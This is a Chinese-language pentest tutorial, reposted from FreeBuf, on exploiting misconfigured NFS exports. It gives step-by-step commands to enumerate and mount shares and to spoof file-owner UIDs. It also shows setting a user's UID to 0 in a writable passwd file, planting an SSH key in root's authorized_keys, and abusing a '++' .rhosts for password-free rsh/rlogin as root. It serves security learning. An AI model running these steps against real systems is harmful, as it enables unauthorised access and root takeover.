NFS服務配置漏洞


簡介

NFS(Network File System)即網絡文件系統,是FreeBSD支持的文件系統中的一種,它允許網絡中的計算機之間通過TCP/IP網絡共享資源。在NFS的應用中,本地NFS的客戶端應用可以透明地讀寫位於遠端NFS服務器上的文件,就像訪問本地文件一樣。如今NFS具備了防止被利用導出文件夾的功能,但遺留系統中的NFS服務配置不當,則仍可能遭到惡意攻擊者的利用。

發現NFS服務

NFS服務的默認開放端口為2049/TCP,因此我們可以借助Nmap來針對性的進行探測。

2049/tcp open nfs 2-4 (RPC #100003)

image-20200926110139024

此外,我們也可以通過rpcinfo命令來確定主機上是否運行或掛載了NFS服務。

rpcinfo -p IP

image-20200926110156910

顯示導出文件夾列表

以下命令將會檢索給定主機的導出文件夾列表,這些信息將被用於訪問這些文件夾。

showmount -e IP

image-20200926110249370

showmount命令與以下參數一起使用時,可以為我們檢索到更多的信息,例如:

  • 掛載點
  • 連接的主機
  • 目錄
showmount IP // 連接的主機
showmount -d IP // 目錄
showmount -a IP // 掛載點

image-20200926110414018

另外,Metasploit框架中也有一個模塊,可以用來列出導出文件夾。

auxiliary/scanner/nfs/nfsmount

image-20200926110455446

在這里我再推薦一個實用的小工具NFS Shell,它可以連接到NFS共享並可以幫助我們手動識別一些常見的安全問題。想要使用它我們首先需要安裝以下依賴項:

apt-get install libreadline-dev libncurses5-dev
make
gcc -g -o nfsshell mount_clnt.o mount_xdr.o nfs_prot_clnt.o nfs_prot_xdr.o nfsshell.o -L/usr/local/lib -lreadline -lhistory -lncurses
./nfsshell

使用以下命令獲取導出文件夾列表:

nfs> host IP // 連接NFS服務
nfs> export // 導出NFS列表

image-20200926111931606

訪問NFS共享

導出的文件夾可以通過創建一個空的本地文件夾,並將共享掛載到該文件夾來訪問,如下所示:

mkdir /temp/
mount -t nfs 192.168.1.172:/ /temp -o nolock

image-20200926110605436

當成功驗證共享掛載后,我們可以通過以下命令來列出所有的本地磁盤信息。

df -h

image-20200926110645815

此時,我們可以像訪問其他文件夾一樣輕松的訪問共享文件夾。

cd /temp/
ls

image-20200926110718610

UID操作

如果對於共享上的文件我們沒有讀取權限該怎么辦?其實這也很簡單,我們可以偽造文件所有者的UID來欺騙NFS服務器。以下展示的是NFS文件訪問拒絕提示:

image-20200926110746500

首先,我們通過以下命令來獲取文件所有者的UID(用戶ID)GUID(組ID)

ls -al

image-20200926110813383

接着,我們在本地創建一個新用戶,並將該用戶的UID和名稱修改為與文件所有者相同。

useradd <user>
passwd <user>

UID可以在passwd文件中更改。

vi /etc/passwd

image-20200926110920063

從掛載的文件夾執行su命令,並使用之前創建的已知密碼,此時當前用戶將會被切換到新用戶。

su <useraccount>

image-20200926110947656

由於該文件的UID與新用戶的UID相同,因此系統會誤認為這是文件權限的所有者,這樣我們就可以以一個合法的用戶身份來讀取文件的內容了。

之所以造成這種問題,原因在於導出文件夾並未設置root_squash選項。root_squash登入NFS主機,使用該共享目錄時相當於該目錄的擁有者。但是如果是以root身份使用這個共享目錄的時候,那么這個使用者(root)的權限將被壓縮成為匿名使用者,即通常他的UID與GID都會變成nobody那個身份,以防止越權訪問。

可以在以下位置啟用或禁用root_squash選項:

vi /etc/exports
/home 192.168.1.47(root_squash) // Enables Root Squash
/home 192.168.1.47(no_root_squash) // Disables Root Squash

如果passwd文件具有寫入權限,那么我們可以通過將一些非特權用戶的UID更改為0,使其具有根級別的訪問權限。從下圖中可以看到,我將service用戶的UID修改為了0,此時該用戶將具備root的訪問權限。

image-20200926111031241

通過SSH連接命令再次與目標服務器建立連接,service將獲取到一個root訪問權限。

image-20200926111055941

shell訪問

根據存儲在導出文件夾中的文件,可能可以通過SSH或RSH和Rlogin來獲取到shell訪問權限。 我們着重來關注以下兩個文件:

  • authorized_keys
  • rhosts

這兩個文件都隱藏在NFS文件夾中,我們可以利用以下命令來確定這些文件的存在。

ls -al

image-20200926111146189

生成一個SSH密鑰對並將其公鑰添加到授權密鑰列表中,那樣我們就可以通過NFS服務器上的SSH與其建立連接了。

cd /root/.ssh/
ssh-keygen -t rsa -b 4096
cp /root/.ssh/id_rsa.pub /temp/root/.ssh/
cat id_rsa.pub >> /temp/root/.ssh/authorized_keys
ssh -i /root/.ssh/id_rsa root@192.168.1.189

image-20200926111322336

image-20200926111338033

.rhosts文件用來配置哪些遠程主機或用戶可以訪問系統上的本地帳戶。如果.rhosts文件的內容為++符號,則說明它允許來自網絡上的任何主機和用戶的連接。

cat .rhosts
++

image-20200926111421471

以下命令將允許系統的root用戶直接連接目標系統,系統將不會提示密碼輸入,因為來自系統的所有用戶都將被信任。

rsh -l root IP
rlogin -l root IP

image-20200926111448158

或者如果.rhosts的內容不同,則檢查文件將有助於確定哪些主機和用戶是可信的,因此可以在無需密碼的情況下進行身份驗證。

轉自:https://www.freebuf.com/articles/network/159468.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM